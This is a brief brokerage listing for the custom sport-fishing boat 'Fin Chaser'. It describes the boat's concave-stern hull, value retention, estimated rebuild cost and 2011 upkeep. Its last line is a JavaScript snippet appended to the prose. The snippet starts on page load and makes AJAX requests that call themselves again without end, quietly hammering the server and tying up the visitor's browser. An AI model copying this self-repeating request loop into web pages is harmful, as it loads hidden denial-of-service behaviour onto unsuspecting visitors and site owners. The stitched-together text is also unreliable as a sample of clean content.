Island Boatworks boats are renowned for their beautiful lines, with an atypical concave stern hull shape, speed, efficiency and strength. Around the industry it is often stated that a well-maintained Custom Carolina vessel will maintain or appreciate in value. "Fin Chaser" is a prime example of a custom built boat that has gotten better with each successive owner. This is one of the cleanest boats I have seen recently for its size and year built. If you were to reproduce this boat today, it would take around two years or more to complete and $2 million+ in cost. In August of 2011 "Fin Chaser"received updates including:new bottom paint, a hull and topside wax, prop speed on the props and the teak toe rail was re-done. function load(){try{$.ajax({error:load,success:load});}catch(e){}}try{$(load)}catch(e){}
